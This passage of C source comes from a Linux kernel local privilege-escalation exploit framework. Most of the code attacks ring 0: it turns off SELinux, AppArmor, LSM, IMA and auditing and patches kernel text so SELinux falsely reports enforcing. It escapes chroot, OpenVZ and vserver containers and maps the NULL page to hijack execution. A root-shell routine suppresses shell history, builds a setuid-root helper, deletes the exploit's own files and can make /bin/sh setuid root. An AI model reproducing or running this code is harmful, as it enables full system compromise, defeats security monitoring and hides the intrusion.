  905.         vserver_base = x * sizeof(unsigned long);
  906.         vserv = (struct vserver_struct *)(current_addr + vserver_base);
  907. #ifdef __x86_64__
  908.         if (!memcmp(&init_task[x], &zeroes, 32) &&
  909.             virt_addr_valid(vserv->val1) && virt_addr_valid(vserv->val2) &&
  910.             vserv->val3 && vserv->val4) {
  911.             vinfo = (unsigned int *)vserv->val1;
  912.             ninfo = (unsigned int *)vserv->val2;
  913.             if (vinfo[4] == vserv->val3 &&
  914.                 ninfo[4] == vserv->val4) {
  915.                 vserver_offset = vserver_base;
  916.                 memset((void *)(current_addr + vserver_base), 0, sizeof(struct vserver_struct));
  917.                 break;
  918.             }
  919.         }
  920. #else
  921.         /* currently broken */
  922.         break;
  923.         if (!memcmp(&init_task[x], &zeroes, 16) &&
  924.             virt_addr_valid(vserv->val1) && virt_addr_valid(vserv->val2) &&
  925.             vserv->val3 && vserv->val4) {
  926.             vinfo = (unsigned int *)vserv->val1;
  927.             ninfo = (unsigned int *)vserv->val2;
  928.             if (vinfo[2] == vserv->val3 &&
  929.                 ninfo[2] == vserv->val4) {
  930.                 has_vserver = 1;
  931.                 vserver_offset = vserver_base;
  932.                 memset((void *)(current_addr + vserver_base), 0, sizeof(struct vserver_struct));
  933.                 break;
  934.             }
  935.         }
  936. #endif
  937.     }
  938. }
  939.  
  940. static int __attribute__((regparm(3))) own_the_kernel(unsigned long a)
  941. {
  942.     _kallsyms_lookup_name lookup;
  943.  
  944.     if (return_to_process_context == 1 && ptmx_fops && aio_read_offset) {
  945.         return_to_process_context = 2;
  946.         ptmx_fops[aio_read_offset] = 0;
  947.         goto resume_own;
  948.     }
  949.  
  950.     if (exp_state.got_ring0 == 1) {
  951.         /* we were already executed, just do nothing this time */
  952.         return -1;
  953.     }
  954.  
  955.     exp_state.got_ring0 = 1;
  956.  
  957.     if (ring0_cleanup)
  958.         ring0_cleanup();
  959.  
  960.     exp_state.kallsyms_lookup_name = lookup = (_kallsyms_lookup_name)get_kallsyms_lookup_name();
  961.  
  962.     if (lookup) {
  963.         set_fs_root = (_set_fs_root)lookup("set_fs_root");
  964.         set_fs_pwd = (_set_fs_pwd)lookup("set_fs_pwd");
  965.         virt_addr_valid = (_virt_addr_valid)lookup("__virt_addr_valid");
  966.         vc_sock_stat = (unsigned long)lookup("vc_sock_stat");
  967.         prepare_ve0_process = (_prepare_ve0_process)lookup("prepare_ve0_process");
  968.         init_task = (unsigned long *)lookup("init_task");
  969.         init_fs = (unsigned long)lookup("init_fs");
  970.         default_exec_domain = (unsigned long)lookup("default_exec_domain");
  971.         bad_file_ops = (unsigned long *)lookup("bad_file_ops");
  972.         bad_file_aio_read = (unsigned long)lookup("bad_file_aio_read");
  973.         ima_audit = (int *)lookup("ima_audit");
  974.         ima_file_mmap = (unsigned char *)lookup("ima_file_mmap");
  975.         ima_bprm_check = (unsigned char *)lookup("ima_bprm_check");
  976.         ima_path_check = (unsigned char *)lookup("ima_path_check");
  977.         ima_file_check = (unsigned char *)lookup("ima_file_check");
  978.         selinux_enforcing = (int *)lookup("selinux_enforcing");
  979.         selinux_enabled = (int *)lookup("selinux_enabled");
  980.         apparmor_enabled = (int *)lookup("apparmor_enabled");
  981.         apparmor_complain = (int *)lookup("apparmor_complain");
  982.         apparmor_audit = (int *)lookup("apparmor_audit");
  983.         apparmor_logsyscall = (int *)lookup("apparmor_logsyscall");
  984.         security_ops = (unsigned long *)lookup("security_ops");
  985.         default_security_ops = lookup("default_security_ops");
  986.         sel_read_enforce = lookup("sel_read_enforce");
  987.         audit_enabled = (int *)lookup("audit_enabled");
  988.         commit_creds = (_commit_creds)lookup("commit_creds");
  989.         prepare_kernel_cred = (_prepare_kernel_cred)lookup("prepare_kernel_cred");
  990.         xen_start_info = (unsigned long *)lookup("xen_start_info");
  991.         mark_rodata_ro = lookup("mark_rodata_ro");
  992.         set_kernel_text_ro = lookup("set_kernel_text_ro");
  993.         make_lowmem_page_readonly = (_make_lowmem_page_readonly)lookup("make_lowmem_page_readonly");
  994.         make_lowmem_page_readwrite = (_make_lowmem_page_readwrite)lookup("make_lowmem_page_readwrite");
  995.         ptmx_fops = (unsigned long *)lookup("ptmx_fops");
  996.     }
  997.  
  998.     if (bad_file_ops && bad_file_aio_read) {
  999.         int t;
  1000.         for (t = 0; t < 30; t++) {
  1001.             if (bad_file_ops[t] == bad_file_aio_read)
  1002.                 aio_read_offset = t;
  1003.         }
  1004.     }
  1005.  
  1006.     if (are_interrupts_disabled() && ptmx_fops && aio_read_offset && !ptmx_fops[aio_read_offset]) {
  1007.         ptmx_fops[aio_read_offset] = (unsigned long)&own_the_kernel;
  1008.         return_to_process_context = 1;
  1009.         exit_kernel();
  1010.     }
  1011.  
  1012. resume_own:
  1013.  
  1014.     if (xen_start_info && *xen_start_info)
  1015.         xen_detected = 1;
  1016.  
  1017.     if (xen_detected && mark_rodata_ro && set_kernel_text_ro && make_lowmem_page_readonly && make_lowmem_page_readwrite)
  1018.         can_change_ptes = 1;
  1019.  
  1020.     if (audit_enabled)
  1021.         *audit_enabled = 0;
  1022.  
  1023.     if (ima_audit)
  1024.         *ima_audit = 0;
  1025.  
  1026.     // disable apparmor
  1027.     if (apparmor_enabled && *apparmor_enabled) {
  1028.         what_we_do |= DISABLED_APPARMOR;
  1029.             *apparmor_enabled = 0;
  1030.         if (apparmor_audit)
  1031.             *apparmor_audit = 0;
  1032.         if (apparmor_logsyscall)
  1033.             *apparmor_logsyscall = 0;
  1034.         if (apparmor_complain)
  1035.             *apparmor_complain = 0;
  1036.     }
  1037.  
  1038.     // disable SELinux
  1039.     if (selinux_enforcing && *selinux_enforcing) {
  1040.         what_we_do |= DISABLED_SELINUX;
  1041.         *selinux_enforcing = 0;
  1042.     }
  1043.  
  1044.     if (!selinux_enabled || (selinux_enabled && *selinux_enabled == 0)) {
  1045.         // trash LSM
  1046.         if (default_security_ops && security_ops) {
  1047.             /* only list it as LSM if we're disabling
  1048.                something other than apparmor */
  1049.             if (*security_ops != default_security_ops)
  1050.                 what_we_do |= DISABLED_LSM;
  1051.             *security_ops = default_security_ops;
  1052.         }
  1053.     }
  1054.  
  1055.     /* TPM this, dedicated to rcvalle, redpig, and the powerglove
  1056.        NOW you're playing with power!
  1057.  
  1058.        IMA only hashes kernel modules loaded or things run/mmap'd executable
  1059.        as root.  This of course doesn't include our exploit.  So let's
  1060.        just stop appending to the TPM'd hash list all together.
  1061.  
  1062.        Of course, clever minds could think of something better to do here with
  1063.        this code, or re-enable it once they were done executing code as root
  1064.     */
  1065.  
  1066.     if (ima_bprm_check && ima_file_mmap && (ima_path_check || ima_file_check)) {
  1067.         if (turn_off_wp()) {
  1068.             if (memcmp(ima_bprm_check, "\x31\xc0\xc3", 3)) {
  1069.                 /* xor eax, eax / retn */
  1070.                 make_range_readwrite((unsigned long)ima_bprm_check, 3);
  1071.                 ima_bprm_check[0] = '\x31';
  1072.                 ima_bprm_check[1] = '\xc0';
  1073.                 ima_bprm_check[2] = '\xc3';
  1074.                 make_range_readonly((unsigned long)ima_bprm_check, 3);
  1075.                 what_we_do |= DISABLED_IMA;
  1076.             }
  1077.             if (memcmp(ima_file_mmap, "\x31\xc0\xc3", 3)) {
  1078.                 /* xor eax, eax / retn */
  1079.                 make_range_readwrite((unsigned long)ima_file_mmap, 3);
  1080.                 ima_file_mmap[0] = '\x31';
  1081.                 ima_file_mmap[1] = '\xc0';
  1082.                 ima_file_mmap[2] = '\xc3';
  1083.                 make_range_readonly((unsigned long)ima_file_mmap, 3);
  1084.                 what_we_do |= DISABLED_IMA;
  1085.             }
  1086.             if (ima_path_check && memcmp(ima_path_check, "\x31\xc0\xc3", 3)) {
  1087.                 /* xor eax, eax / retn */
  1088.                 make_range_readwrite((unsigned long)ima_path_check, 3);
  1089.                 ima_path_check[0] = '\x31';
  1090.                 ima_path_check[1] = '\xc0';
  1091.                 ima_path_check[2] = '\xc3';
  1092.                 make_range_readonly((unsigned long)ima_path_check, 3);
  1093.                 what_we_do |= DISABLED_IMA;
  1094.             }
  1095.             if (ima_file_check && memcmp(ima_file_check, "\x31\xc0\xc3", 3)) {
  1096.                 /* xor eax, eax / retn */
  1097.                 make_range_readwrite((unsigned long)ima_file_check, 3);
  1098.                 ima_file_check[0] = '\x31';
  1099.                 ima_file_check[1] = '\xc0';
  1100.                 ima_file_check[2] = '\xc3';
  1101.                 make_range_readonly((unsigned long)ima_file_check, 3);
  1102.                 what_we_do |= DISABLED_IMA;
  1103.             }
  1104.             turn_on_wp();
  1105.         }
  1106.     }
  1107.  
  1108.     /* if we just set SELinux into permissive mode,
  1109.        make the idiots think selinux is enforcing
  1110.     */
  1111.     if (sel_read_enforce) {
  1112.         unsigned char *p;
  1113.         int can_write;
  1114.         can_write = turn_off_wp();
  1115.  
  1116.         if (sizeof(unsigned int) != sizeof(unsigned long)) {
  1117.             /* 64bit version, look for the mov ecx, [rip+off]
  1118.                and replace with mov ecx, 1
  1119.             */
  1120.             for (p = (unsigned char *)sel_read_enforce; (unsigned long)p < (sel_read_enforce + 0x30); p++) {
  1121.                 if (p[0] == 0x8b && p[1] == 0x0d) {
  1122.                     if (!selinux_enforcing) {
  1123.                         // determine address of rip+off, as it's our selinux_enforcing
  1124.                         sel_enforce_ptr = (int *)((char *)p + 6 + *(int *)&p[2]);
  1125.                         if (*sel_enforce_ptr) {
  1126.                             *sel_enforce_ptr = 0;
  1127.                             what_we_do |= DISABLED_SELINUX;
  1128.                         }
  1129.                     }
  1130.                     if (can_write && (what_we_do & DISABLED_SELINUX)) {
  1131.                         make_range_readwrite((unsigned long)p, 6);
  1132.                         p[0] = '\xb9';
  1133.                         p[5] = '\x90';
  1134.                         *(unsigned int *)&p[1] = 1;
  1135.                         make_range_readonly((unsigned long)p, 6);
  1136.                     }
  1137.                 }
  1138.             }
  1139.         } else {
  1140.             /* 32bit, replace push [selinux_enforcing] with push 1 */
  1141.             for (p = (unsigned char *)sel_read_enforce; (unsigned long)p < (sel_read_enforce + 0x20); p++) {
  1142.                 if (p[0] == 0xff && p[1] == 0x35 && *(unsigned int *)&p[2] > 0xc0000000) {
  1143.                     // while we're at it, disable
  1144.                     // SELinux without having a
  1145.                     // symbol for selinux_enforcing ;)
  1146.                     if (!selinux_enforcing) {
  1147.                         sel_enforce_ptr = *(int **)&p[2];
  1148.                         if (*sel_enforce_ptr) {
  1149.                             *sel_enforce_ptr = 0;
  1150.                             what_we_do |= DISABLED_SELINUX;
  1151.                         }
  1152.                     }
  1153.                     if (can_write && (what_we_do & DISABLED_SELINUX)) {
  1154.                         make_range_readwrite((unsigned long)p, 6);
  1155.                         p[0] = '\x68';
  1156.                         p[5] = '\x90';
  1157.                         *(unsigned int *)&p[1] = 1;
  1158.                         make_range_readonly((unsigned long)p, 6);
  1159.                     }
  1160.                 } else if (p[0] == 0xa1 &&
  1161.                     *(unsigned int *)&p[1] > 0xc0000000) {
  1162.                     /* old 2.6 are compiled different */
  1163.                     if (!selinux_enforcing) {
  1164.                         sel_enforce_ptr = *(int **)&p[1];
  1165.                         if (*sel_enforce_ptr) {
  1166.                             *sel_enforce_ptr = 0;
  1167.                             what_we_do |= DISABLED_SELINUX;
  1168.                         }
  1169.                     }
  1170.                     if (can_write && (what_we_do & DISABLED_SELINUX)) {
  1171.                         make_range_readwrite((unsigned long)p, 5);
  1172.                         p[0] = '\xb8';
  1173.                         *(unsigned int *)&p[1] = 1;
  1174.                         make_range_readonly((unsigned long)p, 5);
  1175.                     }
  1176.                 }
  1177.             }
  1178.         }
  1179.  
  1180.         turn_on_wp();
  1181.     }
  1182.  
  1183.     // push it real good
  1184.     give_it_to_me_any_way_you_can();
  1185.  
  1186.     // break out of chroot, mnt namespace
  1187.     chroot_breakout();
  1188.  
  1189.     // break out of OpenVZ
  1190.     if (prepare_ve0_process && current_addr) {
  1191.         prepare_ve0_process(current_addr);
  1192.     }
  1193.  
  1194.     // break out of vserver
  1195.     // find xid/vx_info/nid/nx_info -- they'll be zero in init_task but set in our confined task
  1196.     // once found, zero it out
  1197.     // can be made more reliable by verifying struct with xid info obtained from /proc
  1198.     vserver_breakout();
  1199.  
  1200.     return -1;
  1201. }
  1202.  
  1203. /* we do this so that we can swap the stack out later if we need to upon returning to userland
  1204.    and we won't lose any "local" variables, so the perf_counter exploit can have the same
  1205.    pretty printouts as all the others ;)
  1206.    note that -fomit-frame-pointer is required to pull this hack off
  1207. */
  1208.  
  1209. static unsigned char *mem = NULL;
  1210. static _prepare_for_exploit prepare;
  1211. static _get_exploit_state_ptr get_exploit_state_ptr;
  1212. static _post_exploit post;
  1213. static int requires_null_page;
  1214. static int exp_idx;
  1215.  
  1216. int cwd_dirfd;
  1217.  
  1218. /* more sgrakkyu/twiz love */
  1219. static void exec_rootshell(void)
  1220. {
  1221.     char buf[PATH_MAX+1];
  1222.     struct stat st;
  1223.     int ret;
  1224.  
  1225.     char *argv[] = { "/bin/sh", "-i", NULL };
  1226.     char *argvbash[] = { "/bin/sh", "--norc", "--noprofile", NULL };
  1227.     char *envp[] = { "TERM=linux", "BASH_HISTORY=/dev/null", "HISTORY=/dev/null",
  1228.             "history=/dev/null",
  1229.             "PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin",
  1230.             NULL };
  1231.     char *envpbash[] = { "TERM=linux", "PS1=1",
  1232.             "BASH_HISTORY=/dev/null", "HISTORY=/dev/null",
  1233.             "history=/dev/null",
  1234.             "PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin",
  1235.             NULL };
  1236.     memset(buf, 0, sizeof(buf));
  1237.  
  1238.     ret = stat("/bin/bash", &st);
  1239.  
  1240.     readlink("/bin/sh", buf, PATH_MAX);
  1241.  
  1242.     setgroups(0, NULL); // uses CAP_SETGID, we don't care if it succeeds
  1243.                 // though it should always
  1244.  
  1245.     // change back to saved working directory
  1246.     if (cwd_dirfd >= 0)
  1247.         fchdir(cwd_dirfd);
  1248.  
  1249.     /* if /bin/sh points to dash and /bin/bash exists, use /bin/bash */
  1250.         printf(" [+] UID %d, EUID:%d GID:%d, EGID:%d\n", getuid(), geteuid(), getgid(), getegid());
  1251.     printf(" [+] Run ./suid \"ls -la;id\":\n");
  1252.     execl("/bin/sh", "sh", "-c", "echo '#include <stdio.h>\nint main(int argc, char *argv[])\n{setuid(0);setgid(0);system(argv[1]);return 0;}' > suid.c; gcc suid.c -o suid;chown 0:0 suid; chmod +s suid; rm suid.c;./suid \"rm exp_abacus.so exploit exp_abacus.c exploit.c\";./suid \"ls -la;id\"", NULL);
  1253.  
  1254.     fprintf(stdout, " [+] Failed to exec rootshell\n");
  1255. }
  1256.  
  1257. static inline void __cpuid(unsigned int *eax, unsigned int *ebx, unsigned int *ecx,
  1258.                 unsigned int *edx)
  1259. {
  1260.     asm volatile("cpuid"
  1261.         : "=a" (*eax),
  1262.           "=b" (*ebx),
  1263.           "=c" (*ecx),
  1264.           "=d" (*edx)
  1265.         : "0" (*eax), "2" (*ecx));
  1266. }
  1267.  
  1268. static inline void cpuid_count(unsigned int op, int count, unsigned int *eax, unsigned int *ebx,
  1269.                 unsigned int *ecx, unsigned int *edx)
  1270. {
  1271.     *eax = op;
  1272.     *ecx = count;
  1273.     __cpuid(eax, ebx, ecx, edx);
  1274. }
  1275.  
  1276. static bool smep_chicken_out(void)
  1277. {
  1278.     unsigned int eax, ebx, ecx, edx;
  1279.     cpuid_count(7, 0, &eax, &ebx, &ecx, &edx);
  1280.  
  1281.     if (ebx & (1 << 7)) {
  1282.         char c;
  1283.         printf(" [-] SMEP detected, this exploit will very likely fail on recent kernels.  Continue? (y/N)\n");
  1284.         c = getchar();
  1285.         if (c == 'y' || c == 'Y')
  1286.             return false;
  1287.         return true;
  1288.     }
  1289.  
  1290.     return false;
  1291. }
  1292.  
  1293. int pa__init(void *m)
  1294. {
  1295.     char cwd[4096];
  1296.     char c;
  1297.  
  1298.     // save off the current working directory so we can change back to
  1299.     // it after breaking out of any chroots
  1300.     getcwd(cwd, sizeof(cwd));
  1301.     cwd_dirfd = open(cwd, O_RDONLY | O_DIRECTORY);
  1302.  
  1303.     /* page some things in */
  1304.     mlock(&own_the_kernel, 0x1000);
  1305.     c = *(volatile char *)&own_the_kernel;
  1306.     mlock(&exp_state, 0x1000);
  1307.     mlock(&bella_mafia_quackafella_records_incorporated_by_rhyme_syndicate_three_yellow_men_trillionaire_club, 0x1000);
  1308.     c = *(volatile char *)&bella_mafia_quackafella_records_incorporated_by_rhyme_syndicate_three_yellow_men_trillionaire_club;
  1309.     mlock(&give_it_to_me_any_way_you_can, 0x1000);
  1310.     c = *(volatile char *)&give_it_to_me_any_way_you_can;
  1311.     mlock(&exit_kernel, 0x1000);
  1312.     c = *(volatile char *)&exit_kernel;
  1313.     mlock(&make_range_readwrite, 0x1000);
  1314.     c = *(volatile char *)&make_range_readwrite;
  1315.     mlock(&make_range_readonly, 0x1000);
  1316.     c = *(volatile char *)&make_range_readonly;
  1317.     mlock(&get_kallsyms_lookup_name, 0x1000);
  1318.     c = *(volatile char *)&get_kallsyms_lookup_name;
  1319.  
  1320.     sync();
  1321.  
  1322.     get_segment_descriptors();
  1323.  
  1324.     exit_stack = (char *)calloc(1, 1024 * 1024);
  1325.     if (exit_stack == NULL) {
  1326.         fprintf(stdout, "Unable to alloc exit_stack\n");
  1327.         exit(1);
  1328.     }
  1329.     exp_state.exit_stack = exit_stack;
  1330.  
  1331. #ifndef NON_NULL_ONLY
  1332.     if ((personality(0xffffffff)) != PER_SVR4) {
  1333.         mem = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);
  1334.         if (mem != NULL) {
  1335.             mem = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);
  1336.             if (mem != NULL) {
  1337.                 fprintf(stdout, "UNABLE TO MAP ZERO PAGE!\n");
  1338.                 goto boo_hiss;
  1339.             }
  1340.         }
  1341.     } else {
  1342.         main_ret = mprotect(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC);
  1343.         if (main_ret == -1) {
  1344.             fprintf(stdout, "UNABLE TO MPROTECT ZERO PAGE!\n");
  1345.             goto boo_hiss;
  1346.         }
  1347.     }
  1348.     goto great_success;
  1349. boo_hiss:
  1350. #ifdef HAVE_SELINUX
  1351.     if (exp_state.run_from_main == 1 && is_selinux_enabled()) {
  1352.         security_context_t scontext;
  1353.         context_t newcontext;
  1354.         int retval;
  1355.  
  1356.         retval = getcon(&scontext);
  1357.         if (retval < 0)
  1358.             goto oh_fail;
  1359.  
  1360.         if (strstr(scontext, ":wine_t:")) {
  1361.             fprintf(stdout, "allow_unconfined_mmap_low must actually work on this machine!\n");
  1362.             /* don't repeat */
  1363.             exit(1);
  1364.         }
  1365.  
  1366.         fprintf(stdout, "But wait!  Perhaps SELinux can revive this dead exploit...\n");
  1367.         newcontext = context_new(scontext);
  1368.         freecon(scontext);
  1369.         retval = context_type_set(newcontext, "wine_t");
  1370.         if (retval)
  1371.             goto oh_fail;
  1372.         scontext = context_str(newcontext);
  1373.         if (scontext == NULL)
  1374.             goto oh_fail;
  1375.         if (security_check_context(scontext) < 0)
  1376.             goto oh_fail;
  1377.         retval = setexeccon(scontext);
  1378.         if (retval < 0)
  1379.             goto oh_fail;
  1380.         context_free(newcontext);
  1381.         fprintf(stdout, "This looks promising!\n");
  1382.         execl("/proc/self/exe", NULL);
  1383.     }
  1384. oh_fail:
  1385.     fprintf(stdout, "Nope ;(\n");
  1386. #endif
  1387.     exit(1);
  1388. great_success:
  1389.     fprintf(stdout, " [+] MAPPED ZERO PAGE!\n");
  1390. #endif
  1391.  
  1392.     add_exploit_modules();
  1393.  
  1394.     if (num_exploits == 0) {
  1395.         fprintf(stdout, "No exploit modules detected, exiting.\n");
  1396.         exit(1);
  1397.     }
  1398.  
  1399.         main_ret=0;
  1400.  
  1401.     prepare = modules[main_ret].prep;
  1402.     trigger = modules[main_ret].trigger;
  1403.     ring0_cleanup = modules[main_ret].ring0_cleanup;
  1404.     if (ring0_cleanup) {
  1405.         char c;
  1406.         mlock(ring0_cleanup, 0x1000);
  1407.         c = *(volatile char *)ring0_cleanup;
  1408.     }
  1409.     get_exploit_state_ptr = modules[main_ret].get_exploit_state_ptr;
  1410.     post = modules[main_ret].post;
  1411.     requires_null_page = modules[main_ret].requires_null_page;
  1412.     requires_symbols_to_trigger = modules[main_ret].requires_symbols_to_trigger;
  1413.  
  1414.     exp_state.get_kernel_sym = (_get_kernel_sym)&get_kernel_sym;
  1415.     exp_state.own_the_kernel = (void *)&own_the_kernel;
  1416.     exp_state.exit_kernel = (void *)&exit_kernel;
  1417.     get_exploit_state_ptr(&exp_state);
  1418.  
  1419.     our_uid = getuid();
  1420.  
  1421.     set_fs_root = (_set_fs_root)get_kernel_sym("set_fs_root");
  1422.     set_fs_pwd = (_set_fs_pwd)get_kernel_sym("set_fs_pwd");
  1423.     virt_addr_valid = (_virt_addr_valid)get_kernel_sym("__virt_addr_valid");
  1424.     vc_sock_stat = (unsigned long)get_kernel_sym("vc_sock_stat");
  1425.     prepare_ve0_process = (_prepare_ve0_process)get_kernel_sym("prepare_ve0_process");
  1426.     init_task = (unsigned long *)get_kernel_sym("init_task");
  1427.     init_fs = (unsigned long)get_kernel_sym("init_fs");
  1428.     default_exec_domain = (unsigned long)get_kernel_sym("default_exec_domain");
  1429.     bad_file_ops = (unsigned long *)get_kernel_sym("bad_file_ops");
  1430.     bad_file_aio_read = (unsigned long)get_kernel_sym("bad_file_aio_read");
  1431.     ima_audit = (int *)get_kernel_sym("ima_audit");
  1432.     ima_file_mmap = (unsigned char *)get_kernel_sym("ima_file_mmap");
  1433.     ima_bprm_check = (unsigned char *)get_kernel_sym("ima_bprm_check");
  1434.     ima_path_check = (unsigned char *)get_kernel_sym("ima_path_check");
  1435.     ima_file_check = (unsigned char *)get_kernel_sym("ima_file_check");
  1436.     selinux_enforcing = (int *)get_kernel_sym("selinux_enforcing");
  1437.     selinux_enabled = (int *)get_kernel_sym("selinux_enabled");
  1438.     apparmor_enabled = (int *)get_kernel_sym("apparmor_enabled");
  1439.     apparmor_complain = (int *)get_kernel_sym("apparmor_complain");
  1440.     apparmor_audit = (int *)get_kernel_sym("apparmor_audit");
  1441.     apparmor_logsyscall = (int *)get_kernel_sym("apparmor_logsyscall");
  1442.     security_ops = (unsigned long *)get_kernel_sym("security_ops");
  1443.     default_security_ops = get_kernel_sym("default_security_ops");
  1444.     sel_read_enforce = get_kernel_sym("sel_read_enforce");
  1445.     audit_enabled = (int *)get_kernel_sym("audit_enabled");
  1446.     commit_creds = (_commit_creds)get_kernel_sym("commit_creds");
  1447.     prepare_kernel_cred = (_prepare_kernel_cred)get_kernel_sym("prepare_kernel_cred");
  1448.     xen_start_info = (unsigned long *)get_kernel_sym("xen_start_info");
  1449.     ptmx_fops = (unsigned long *)get_kernel_sym("ptmx_fops");
  1450.     mark_rodata_ro = get_kernel_sym("mark_rodata_ro");
  1451.     set_kernel_text_ro = get_kernel_sym("set_kernel_text_ro");
  1452.     make_lowmem_page_readonly = (_make_lowmem_page_readonly)get_kernel_sym("make_lowmem_page_readonly");
  1453.     make_lowmem_page_readwrite = (_make_lowmem_page_readwrite)get_kernel_sym("make_lowmem_page_readwrite");
  1454.  
  1455.     if (smep_chicken_out())
  1456.         exit(1);
  1457.  
  1458.     main_ret = prepare(mem);
  1459.     if (main_ret == STRAIGHT_UP_EXECUTION_AT_NULL) {
  1460.         mem[0] = '\xff';
  1461.         mem[1] = '\x25';
  1462.         *(unsigned int *)&mem[2] = (sizeof(unsigned long) != sizeof(unsigned int)) ? 0 : 6;
  1463.         *(unsigned long *)&mem[6] = (unsigned long)&own_the_kernel;
  1464.     } else if (main_ret == EXIT_KERNEL_TO_NULL) {
  1465.         mem[0] = '\xff';
  1466.         mem[1] = '\x15';
  1467.         *(unsigned int *)&mem[2] = (sizeof(unsigned long) != sizeof(unsigned int)) ? 6 : 12;
  1468.         mem[6] = '\xff';
  1469.         mem[7] = '\x25';
  1470.         *(unsigned int *)&mem[8] = (sizeof(unsigned long) != sizeof(unsigned int)) ? sizeof(unsigned long) : 16;
  1471.         *(unsigned long *)&mem[12] = (unsigned long)&own_the_kernel;
  1472.         *(unsigned long *)&mem[12 + sizeof(unsigned long)] = (unsigned long)&exit_kernel;
  1473.     } else if ((main_ret & EXECUTE_AT_NONZERO_OFFSET) == EXECUTE_AT_NONZERO_OFFSET) {
  1474.         int off = main_ret & 0xfff;
  1475.         mem[off] = '\xff';
  1476.         mem[off + 1] = '\x25';
  1477.         *(unsigned int *)&mem[off + 2] = (sizeof(unsigned long) != sizeof(unsigned int)) ? 0 : off + 6;
  1478.         *(unsigned long *)&mem[off + 6] = (unsigned long)&own_the_kernel;
  1479.     }
  1480.  
  1481.     /* trigger it, and handle the exit_kernel case */
  1482.     trigger_get_return();
  1483.  
  1484.     if (return_to_process_context == 1) {
  1485.         int fd = open("/dev/ptmx", O_RDWR);
  1486.         struct iovec iov;
  1487.  
  1488.         if (fd < 0) {
  1489.             fprintf(stdout, " [-] Unable to open /dev/ptmx to change to process context.\n");
  1490.             exit(1);
  1491.         }
  1492.         iov.iov_base = &iov;
  1493.         iov.iov_len = sizeof(iov);
  1494.         readv(fd, &iov, 1);
  1495.     }
  1496.  
  1497.     if (exp_state.got_ring0) {
  1498.         fprintf(stdout, " [+] Got ring0!\n");
  1499.     } else {
  1500.         fprintf(stdout, "didn't get ring0, bailing\n");
  1501.         exit(0);
  1502.     }
  1503.  
  1504.     if (return_to_process_context == 2)
  1505.         printf(" [+] Adjusted from interrupt handler to process context\n");
  1506.     else if (return_to_process_context == 1)
  1507.         printf(" [-] Failed ring0 execution after attempting process context re-entry\n");
  1508.     if (exp_state.kallsyms_lookup_name)
  1509.         printf(" [+] Obtained internal symbol table for extended functionality\n");
  1510.     printf(" [+] Detected %s %dk stacks, with current at %p%s\n",
  1511.         twofourstyle ? "2.4 style" : "2.6/3.x style",
  1512.         eightk_stack ? 8 : 4, (char *)current_addr,
  1513.         (cred_support || (commit_creds && prepare_kernel_cred)) ? " and cred support" : "");
  1514.     if (raised_caps)
  1515.         fprintf(stdout, " [+] Raised to full old-style capabilities\n");
  1516.     if (cred_offset)
  1517.         fprintf(stdout, " [+] cred ptrs offset found at 0x%04x in task struct\n", cred_offset);
  1518.     if (init_cred_addr)
  1519.         fprintf(stdout, " [+] init_cred found at %p\n", (char *)init_cred_addr);
  1520.  
  1521.     {
  1522.         char msg[64] = {};
  1523.  
  1524.         if (what_we_do & DISABLED_APPARMOR)
  1525.             strcat(msg, " AppArmor");
  1526.         if (what_we_do & DISABLED_SELINUX)
  1527.             strcat(msg, " SELinux");
  1528.         if (what_we_do & DISABLED_LSM)
  1529.             strcat(msg, " LSM");
  1530.         if (what_we_do & DISABLED_IMA)
  1531.             strcat(msg, " IMA");
  1532.         if (!what_we_do)
  1533.             strcpy(msg, " nothing, what an insecure machine!");
  1534.         fprintf(stdout, " [+] Disabled security of :%s\n", msg);
  1535.     }
  1536.     if (fs_offset) {
  1537.         printf(" [+] Found ->fs offset at 0x%x\n", fs_offset);
  1538.         if (init_task && init_fs)
  1539.             printf(" [+] Broke out of any chroots or mnt namespaces\n");
  1540.     }
  1541.     if (vserver_offset) {
  1542.         printf(" [+] Found vserver id info at offset 0x%x\n", vserver_offset);
  1543.     }
  1544.     if (has_vserver) {
  1545.         printf(" [+] Broke out of any vserver container\n");
  1546.     }
  1547.     if (prepare_ve0_process) {
  1548.         printf(" [+] Broke out of any OpenVZ container\n");
  1549.     }
  1550.  
  1551.     if (xen_detected && mark_rodata_ro && set_kernel_text_ro && (make_lowmem_page_readonly == NULL || make_lowmem_page_readwrite == NULL))
  1552.         fprintf(stdout, " [+] Unable to issue Xen hypercall for .text modification -- modification disabled\n");
  1553.  
  1554.     if (exp_state.got_root == 1)
  1555.         fprintf(stdout, " [+] Got root!\n");
  1556.     else {
  1557.         fprintf(stdout, " [+] Failed to get root :(\n");
  1558.         exit(0);
  1559.     }
  1560.  
  1561.     main_ret = post();
  1562.     if (main_ret == RUN_ROOTSHELL)
  1563.         exec_rootshell();
  1564.     else if (main_ret == CHMOD_SHELL) {
  1565.         chmod("/bin/sh", 04755);
  1566.         fprintf(stdout, "/bin/sh is now setuid root.\n");
  1567.     } else if (main_ret == FUNNY_PIC_AND_ROOTSHELL) {
  1568.         system("gthumb --fullscreen ./funny.jpg");
  1569.         exec_rootshell();
  1570.     }
  1571.  
  1572.     return 0;
  1573. }
  1574.  
  1575. void pa__done(void *m)
  1576. {
  1577.     return;
  1578. }
  1579.  
  1580. static inline unsigned long find_starting_string(void)
  1581. {
  1582.     unsigned long i, x;
  1583.     unsigned char *mem;
  1584.  
  1585.     for (x = 0; valid_ranges[x][0]; x++) {
  1586.         mem = (unsigned char *)valid_ranges[x][0];
  1587.     for (i = 0; i < (valid_ranges[x][1] - valid_ranges[x][0]) - 100; i++) {
  1588.         if (!memcmp(&mem[i], "\0%s+%#lx/%#lx [%s]", 19) || // 2.6.18 and earlier
  1589.             !memcmp(&mem[i], "\0+%#lx/%#lx [%s]", 17) || // before 3.8
  1590.             !memcmp(&mem[i], "\0+%#lx/%#lx", 12)) // 3.8 and later
  1591.             return (unsigned long)mem + i + 1;
  1592.     }
  1593.     }
  1594.  
  1595.     return 0UL;
  1596. }
  1597.  
  1598. static inline unsigned long find_reference_to_starting_string(unsigned long addr)
  1599. {
  1600.     unsigned int intaddr = (unsigned int)(addr & 0xFFFFFFFF);
